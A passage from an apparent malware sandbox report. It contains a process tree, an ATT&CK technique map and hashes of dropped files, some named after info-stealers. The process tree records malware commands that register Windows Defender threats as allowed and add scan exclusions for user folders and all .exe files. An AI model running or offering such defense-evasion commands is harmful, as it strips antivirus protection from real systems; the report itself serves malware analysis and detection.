3⤵
PID:5436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:5488

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:5532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:5664

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:5780

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:5872

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:5908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:5944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:5964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:6004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:6056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:5196

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:480

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:652

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:5704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:5540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:5996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:5504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:5576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:5552

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:6040

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:6004

C:\Users\Admin\AppData\Local\Temp\7zS5B0C.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS5B0C.tmp\Install.exe it /XtTdidbxCc 385118 /S
1⤵
PID:3964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
2⤵
PID:4356

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
3⤵
PID:2836

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
4⤵
PID:3912

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:1808

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
3⤵
PID:5144

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
4⤵
PID:5160

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:5192

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
3⤵
PID:5248

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
4⤵
PID:5300

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:5316

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
3⤵
PID:5364

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
4⤵
PID:5384

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:5404

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:5448

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
4⤵
PID:5468

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
- Command and Scripting Interpreter: PowerShell
PID:5500

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
6⤵
PID:5984

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
PID:5784

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\GameStabilityService\GameService.exe
Filesize
288KB

MD5
d9ec6f3a3b2ac7cd5eef07bd86e3efbc

SHA1
e1908caab6f938404af85a7df0f80f877a4d9ee6

SHA256
472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

SHA512
1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

Download Submit
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
Filesize
6.2MB

MD5
c4f2b643c3ff9bb7ae4fd625c9d98154

SHA1
bd7c7190e45cbda09be256bee7622bb74f75f00c

SHA256
76b585b4eac7b0584f28d66d6bf37ad29b1ab73354cbd3c5bb1c819787208f0b

SHA512
2efeaf9473ac1a8f42fd5870154faa37b06e4f331768cd7934fd4aa685eb6da4e28eaa7357807c4bf37dd79fc4a5eaf70ab4324ed0100dcdb4abaf4d9b0a7dcb

Download Submit
C:\Program Files (x86)\GameStabilityService\installm.bat
Filesize
247B

MD5
192ae14b572f1bdd164ee67855d5a83a

SHA1
9cf0757c807a8b834470d216ccd85be9a6b60aa0

SHA256
2f6be6b40cf7c1802b6540dbf0b90eac67fd6a94067a06090e1f71bee164188d

SHA512
18fc80eb3d450359863d61cf9123a08cdfe8c52d5f59e97f5b42816584d474d8a080bb75e7fe92480d2961481d59584a3987b2e7a15e611b58885b4441085e3c

Download Submit
C:\ProgramData\mozglue.dll
Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\ProgramData\nss3.dll
Filesize
1.2MB

MD5
d57820879867c26d0a12cf705742aea5

SHA1
099ed7e26d3aa905241e223fd562efb4a6da3117

SHA256
ef7ca3616ad339af502d30320b0f297171e259348d2f2dddb4dc2f36f237218c

SHA512
dcccfbac75a5c7f1ab3950a901fa984ae1389d2b6725fc02f0e8f756cb48f38100afa0c9b7859d5b068ead7974c4fd3598273fe7dfdcf969502ab10d27fc83e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
ac4917a885cf6050b1a483e4bc4d2ea5

SHA1
b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f

SHA256
e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9

SHA512
092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
20KB

MD5
ea1ca4154fae23f85f5831c6a1e8b8ee

SHA1
b39844fc47d29c40081474b23d97e1d019b5b963

SHA256
20e92b7d8b95287db218fda4995438373daa79db2ae88dfe11ed4ddd0713b2c6

SHA512
7eb736acac39fc43ed2530423dd21d888c9c8883e048e114042c5150a77ad46d7723c2985e6e91fdc903f5c7d57b9ed449c8d6bdc97d24ccf20125b452c05665

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]
Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini
Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
Filesize
2.7MB

MD5
31841361be1f3dc6c2ce7756b490bf0f

SHA1
ff2506641a401ac999f5870769f50b7326f7e4eb

SHA256
222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee

SHA512
53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
Filesize
474KB

MD5
e967f019b01357086d92181e6ee28e0b

SHA1
7f26480ea5ca0ee9481dfc0bea12194bd6f10283

SHA256
c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82

SHA512
dd2abe993397cf9f117753fd71ed9f98c4952616ee30f10479fbc3dad93a88dcfbfd6b80083541c7a796936dd37667a0f178156bdf5c35abf76dd8b23015d88a

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
Filesize
304KB

MD5
9faf597de46ed64912a01491fe550d33

SHA1
49203277926355afd49393782ae4e01802ad48af

SHA256
0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715

SHA512
ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
Filesize
2.0MB

MD5
1d814be25e80fa6739f6f1eec2018102

SHA1
44353b52a72e3f5c46b3d6078aab1211ce33b4fd

SHA256
01862602fb4853d90796a1a669b4ec4ab5e8cc6a774bf94e707171d5e16594fc

SHA512
15732577c4fd4a0d2303df2f2d623e165c94f5b8dcd92724681d41ac35ecefbe8c04052329ec6938a594086bf8a19a54253be9f33cc8b3a298261467cddf5578

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
Filesize
778KB

MD5
05b11e7b711b4aaa512029ffcb529b5a

SHA1
a8074cf8a13f21617632951e008cdfdace73bb83

SHA256
2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa

SHA512
dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
Filesize
1.2MB

MD5
56e7d98642cfc9ec438b59022c2d58d7

SHA1
26526f702e584d8c8b629b2db5d282c2125665d7

SHA256
a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383

SHA512
0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
Filesize
418KB

MD5
0099a99f5ffb3c3ae78af0084136fab3

SHA1
0205a065728a9ec1133e8a372b1e3864df776e8c

SHA256
919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

SHA512
5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
Filesize
379KB

MD5
009669d63111ff8efad651efac7333af

SHA1
d0ebf3a228e2d44e094aa3b1b056176bc05c8f40

SHA256
4736228698b5bb9b7dc86f4dbfe539e54fe5f5153be6c4aec7b8269e34c7a84b

SHA512
dbf32ce7ba68fa88f508bced74b898baa73679216374d885e279eaf848c8f197294f66a0131491050f70f93413d973cc1fe7245e8128758a6103a453e7aed808

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd
Filesize
208B

MD5
2dbc71afdfa819995cded3cc0b9e2e2e

SHA1
60e1703c3fd4fe0fba9f1e65e10a61e0e72d9faf

SHA256
5a0070457636d37c11deb3148f6914583148fe45a66f44d7852f007ed5aad0ac

SHA512
0c59fa999ed912e6e747017c4e4c73f37ed7a72654f95eaea3db899308468e8756621db6e4edfd79e456ec69ce2e3e880817410b6aab1d01414f6300240d8b52

Download Submit
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
Filesize
1.8MB

MD5
9dac1454b2e782ee490cf0ded37abb62

SHA1
3b5b6e0d822c2583ed47961a23b6140dd909d540

SHA256
43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815

SHA512
a2a70b87a98a8b7a6b259bf7e3e4c51d763bb7c0f38c03461c9480de9517f21b8897c2eee0129f2867d3f6ad19a1334bc9d6979531f84965a9b9833b00adcc0c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS506D.tmp\Install.exe
Filesize
6.4MB

MD5
220a02a940078153b4063f42f206087b

SHA1
02fc647d857573a253a1ab796d162244eb179315

SHA256
7eb93d93b03447a6bafd7e084305d41bf9780bd415cb2e70020952d06f3d7b60

SHA512
42ac563a7c28cbf361bfb150d5469f0278ab87ce445b437eef8425fb779689d70230b550815f30f9db2909c1ba0dd015b172dfe3e718d26706856f4cb0eeeeaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tmp8731.tmp
Filesize
2KB

MD5
1420d30f964eac2c85b2ccfe968eebce

SHA1
bdf9a6876578a3e38079c4f8cf5d6c79687ad750

SHA256
f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

SHA512
6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pkxzxhck.dn4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\{FEB7E54E-DDB4-40a9-B650-D1213092D06A}.tmp\360P2SP.dll
Filesize
824KB

MD5
fc1796add9491ee757e74e65cedd6ae7

SHA1
603e87ab8cb45f62ecc7a9ef52d5dedd261ea812

SHA256
bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60

SHA512
8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2994005945-4089876968-1367784197-1000\76b53b3ec448f7ccdda2063b15d2bfc3_1237b9d7-f804-4a48-834e-966087ebd757
Filesize
2KB

MD5
bb21ac311ca4425f660a86570ec2fb67

SHA1
9ae1ffe7c5c491c59aafc3b499b2201d7af43e2a

SHA256
5c0ce38f3c55ff40e56be2c95c11c8ce25e7d450a8129b4f6c62eb944b1c52d2

SHA512
98e0c48d765c0fd55fe4f737499a31604f7d6efa09d2f810046126546d2a82244d358608063df685ec5fb099b995ba70eb142b848d3c2940c3b2013288c99c33

Download Submit
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
Filesize
304KB

MD5
0c582da789c91878ab2f1b12d7461496

SHA1
238bd2408f484dd13113889792d6e46d6b41c5ba

SHA256
a6ab532816fbb0c9664c708746db35287aaa85cbb417bef2eafcd9f5eaf7cf67

SHA512
a1b7c5c13462a7704ea2aea5025d1cb16ddd622fe1e2de3bbe08337c271a4dc8b9be2eae58a4896a7df3ad44823675384dbc60bdc737c54b173909be7a0a086a

Download Submit
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
Filesize
750KB

MD5
20ae0bb07ba77cb3748aa63b6eb51afb

SHA1
87c468dc8f3d90a63833d36e4c900fa88d505c6d

SHA256
daf6ae706fc78595f0d386817a0f8a3a7eb4ec8613219382b1cbaa7089418e7d

SHA512
db315e00ce2b2d5a05cb69541ee45aade4332e424c4955a79d2b7261ab7bd739f02dc688224f031a7a030c92fa915d029538e236dbd3c28b8d07d1265a52e5b2

Download Submit
C:\Users\Admin\Desktop\Microsoft Edge.lnk
Filesize
2KB

MD5
fd33133728762e67d2967b10e3bee1d8

SHA1
82abfa19918ef432a4bcec8d5b24292524f58c37

SHA256
031a8f29369bf10f43cd929de05e28b23f2906e648161b796a5d75b42c817b70

SHA512
44e929d4aa940de1d6619ee72c620641c5bc14c10774871c35f42718fd79cafba2d534f80b859df0a39cbe1b061ffd461532c497600affba7444f25347419dbd

Download Submit
C:\Users\Admin\Desktop\Microsoft Edge.lnk
Filesize
2KB

MD5
ed1ed7e0db61d08e66693bf0331c0a18

SHA1
43258b99b005ad38f4d94e8cd83e9421836fc07d

SHA256
99490f46a9870921c483bc2a6f86e99c87f2781085ff4d7a9517b0d825ea4aae

SHA512
60585faddac9a10ca49dae253e7edb96b5406570e6376024d05e82a52b2267edd7f0542231130d931aff162b796de8b53fbf3734050e621c848ed5044f09b2d3

Download Submit
C:\Users\Admin\Pictures\62dFXIwrDfZWSDKlLeiSQUVn.exe
Filesize
6.2MB

MD5
382307497abd634a05135b72690f8b2a

SHA1
87e587c8fc92e93cc5742ec3ba461ed2f28e4ad6

SHA256
45ab37527b51f17c6665856e1266f916a1ddf8609c9e3106904219c909c78cb9

SHA512
8021605db06782b311e530e929c8b9de144bbf778f651f90892821e7ecc854820556330afcfbfb4637e1db456cb0c6ab8bbacfbd90ba4a802d55066521df1c60

Download Submit
C:\Users\Admin\Pictures\9IgI9qQ6ggIXa8IlDw7e0mPe.exe
Filesize
280KB

MD5
cb1f2045d2f27f72f4355a7c47f79df1

SHA1
3949d2c25dc8df2bae4a85d36b57e832bf1b85d4

SHA256
922d613b8d13c27b9c7f36aaffc577e12fb308f02008503f4f1d961a300ad76b

SHA512
cfd147e01f752b6837ca57550b16f6e1a85c9cc62484264ba7c0d5deb7b4922e508e3d01f605a6e948fb7236dd9d313c0e4e0411f9e075054e5b9510dc8a0ed9

Download Submit
C:\Users\Admin\Pictures\TXwunRPVzteNCWvp5tSmciUq.exe
Filesize
6.2MB

MD5
5cc472dcd66120aed74de36341bfd75a

SHA1
1dfc4d42da90fe070d4474ddd7fa7b6f6ffa97ab

SHA256
958dd14c90b1c73852f926608f212377aa3a36666c04024f97c20deb375e9773

SHA512
b5cf358d95ec9a6cca81d2e9c23f0ede93ab94963bb5c626f4e6233a06cedae63b73dd81d2455acb29b003c3b4e2f54da6010daebc4639a3dcc54314d4fe4f81

Download Submit
C:\Users\Admin\Pictures\jKHsYeEAxK7sDmRltbMOcULT.exe
Filesize
1.5MB

MD5
cd4acedefa9ab5c7dccac667f91cef13

SHA1
bff5ce910f75aeae37583a63828a00ae5f02c4e7

SHA256
dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c

SHA512
06fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1

Download Submit
C:\Users\Admin\Pictures\pxSxEZw0Av4fJv6U32oW5ubq.exe
Filesize
4.1MB

MD5
1eee28bc105cbbd364cca7b2db042a8c

SHA1
ee4370c95fdc7ac05b80bf69fdbb555c96e1b728

SHA256
a23c303215aaf509077321343e5de6fcdc1d1f6ba7f752e316452818899beeab

SHA512
330230ba0c892bf6b37fd103ee323d931bd5c980f2506dfe603b3f9d5f582005d069309026534c3a5be7231806a173be2a111b38ea8189ae1298db26430489a0

Download Submit
C:\Users\Admin\Pictures\uCBUvNV8xSpbj3H59BdB2E89.exe
Filesize
2.6MB

MD5
3d233051324a244029b80824692b2ad4

SHA1
a053ebdacbd5db447c35df6c4c1686920593ef96

SHA256
fbd467ce72bca00eea3aaa6f32abc8aca1a734030d082458e21e1fe91e6a8d84

SHA512
7f19c6400ac46556a9441844242b1acb0b2f11a47f5d51f6d092406a8c759a6d78c578bb5b15035e7cd1cdb3035acf0db884708b0da1a83eb652a50a68e3a949

Download Submit
C:\Users\Admin\Pictures\uoZXmdiExWvyJqIkeqv0xox7.exe
Filesize
7KB

MD5
77f762f953163d7639dff697104e1470

SHA1
ade9fff9ffc2d587d50c636c28e4cd8dd99548d3

SHA256
d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea

SHA512
d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499

Download Submit
C:\Users\Public\Desktop\Google Chrome.lnk
Filesize
2KB

MD5
2cc025a6143ef507caea6222cad5fba9

SHA1
